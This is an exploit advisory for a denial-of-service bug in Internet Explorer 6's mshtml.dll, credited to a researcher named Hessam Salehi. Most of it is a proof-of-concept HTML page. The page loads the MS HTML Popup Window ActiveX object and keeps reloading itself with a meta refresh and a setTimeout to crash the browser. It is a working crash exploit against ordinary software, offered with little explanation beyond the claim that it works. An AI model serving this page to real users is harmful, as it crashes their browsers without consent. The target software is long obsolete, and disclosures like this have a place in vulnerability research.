IE 6/Microsoft Html Popup Window (mshtml.dll) DoS Affected Software : MS Internet Explorer 6.x Overview: ----------------- An attacker can exploit this issue to trigger denial-of-service conditions in Internet Explorer version 6(.x) . PoC (HTML) ------------------ <!-- [~] IE 6 / Microsoft Html Popup Window DoS (mshtml.dll 6.00.2900.2180) [~] Tested on windows XP sp2 , IE 6 [!] Hessam-x / www.Hessamx.net --> <HTML> <object classid='clsid:3050f667-98b5-11cf-bb82-00aa00bdce0b' id='MSHtmlPopupWindow' /></object> <META HTTP-EQUIV="Refresh" CONTENT="5;URL=?"> <BODY onLoad=window.setTimeout("location.href='?'",1)> <center> IE6 / MS Html Popup Window Crash !</center> <center>Hessamx</center> </HTML> Credit ------------------ Discovered By Hessam Salehi (Hessamx) Simorgh Security Team / www.simorgh-ev.org